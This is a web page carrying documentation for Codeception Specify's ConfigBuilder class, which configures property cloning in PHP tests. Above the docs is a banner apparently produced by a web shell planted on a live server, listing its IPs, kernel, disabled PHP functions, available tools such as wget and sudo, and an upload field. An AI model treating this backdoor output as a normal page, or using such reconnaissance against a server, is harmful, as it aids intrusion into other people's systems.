Server IP : 185.86.78.101 / Your IP : 216.73.216.124 Web Server : Apache System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /www/wwwroot/mifepriston.org/vendor/codeception/specify/docs/ |
Upload File : |
## Codeception\Specify\ConfigBuilder Configure Specify usage. Specify copies properties of object and restores them for each specify block. Objects can be cloned deeply or using standard `clone` operator. Specify can be configured to prevent specific properties in specify blocks, to choose default cloning method, or cloning method for specific properties. ```php <?php $this->specifyConfig() ->ignore('user') // do not clone ?> ``` #### *public* __construct($config = null) #### *public* ignore($properties = null) Ignore cloning specific object properties in specify blocks. ```php <?php $this->user = new User; $this->specifyConfig()->ignore('user'); $this->specify('change user name', function() { $this->user->name = 'davert'; }); $this->user->name == 'davert'; // name changed ?> ``` * `param array` $properties * `return` $this #### *public* ignoreClasses($classes = null) Adds specific class to ignore list, if property is an instance of class it will not be cloned for specify block. * `param array` $classes * `return` $this #### *public* deepClone($properties = null) Turn on/off deep cloning mode. Deep cloning mode can also be specified for specific properties. ```php <?php $this->user = new User; $this->post = new Post; $this->tag = new Tag; // turn on deep cloning by default $this->specifyConfig()->deepClone(); // turn off deep cloning by default $this->specifyConfig()->deepClone(false); // deep clone only user and tag property $this->specifyConfig()->deepClone('user', 'tag'); // alternatively $this->specifyConfig()->deepClone(['user', 'tag']); ?> ``` * `param bool` $properties * `return` $this #### *public* shallowClone($properties = null) Disable deep cloning mode, use shallow cloning by default, which is faster. Deep cloning mode can also be disabled for specific properties. ```php <?php $this->user = new User; $this->post = new Post; $this->tag = new Tag; // turn off deep cloning by default $this->specifyConfig()->shallowClone(); // turn on deep cloning by default $this->specifyConfig()->shallowClone(false); // shallow clone only user and tag property $this->specifyConfig()->shallowClone('user', 'tag'); // alternatively $this->specifyConfig()->shallowClone(['user', 'tag']); ?> ``` * `param bool` $properties * `return` $this #### *public* cloneOnly($properties) Clone only specific properties ```php <?php $this->specifyConfig()->cloneOnly('user', 'post'); ?> ``` * `param` $properties * `return` $this